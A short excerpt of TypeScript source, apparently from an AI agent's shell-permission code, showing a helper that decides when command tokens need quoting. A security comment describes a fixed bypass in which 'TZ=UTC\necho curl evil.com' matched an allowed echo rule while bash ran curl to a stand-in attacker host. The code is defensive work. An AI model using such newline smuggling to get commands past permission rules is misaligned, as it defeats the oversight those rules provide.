(str: string)
| 1169 | |
| 1170 | // Helper: Check if string needs quoting |
| 1171 | function needsQuoting(str: string): boolean { |
| 1172 | // Don't quote file descriptor redirects (e.g., '2>', '2>>', '1>', etc.) |
| 1173 | if (/^\d+>>?$/.test(str)) return false |
| 1174 | |
| 1175 | // Quote strings containing ANY whitespace (space, tab, newline, CR, etc.). |
| 1176 | // SECURITY: Must match ALL characters that the regex `\s` class matches. |
| 1177 | // Previously only checked space/tab; downstream consumers like ENV_VAR_PATTERN |
| 1178 | // use `\s+`. If reconstructCommand emits unquoted `\n` or `\r`, stripSafeWrappers |
| 1179 | // matches across it, stripping `TZ=UTC` from `TZ=UTC\necho curl evil.com` — |
| 1180 | // matching `Bash(echo:*)` while bash word-splits on the newline and runs `curl`. |
| 1181 | if (/\s/.test(str)) return true |
| 1182 | |
| 1183 | // Single-character shell operators need quoting to avoid ambiguity |
| 1184 | if (str.length === 1 && '><|&;()'.includes(str)) return true |
| 1185 | |
| 1186 | return false |
| 1187 | } |
| 1188 | |
| 1189 | // Helper: Add token with appropriate spacing |
| 1190 | function addToken(result: string, token: string, noSpace = false): string { |
no outgoing calls
no test coverage detected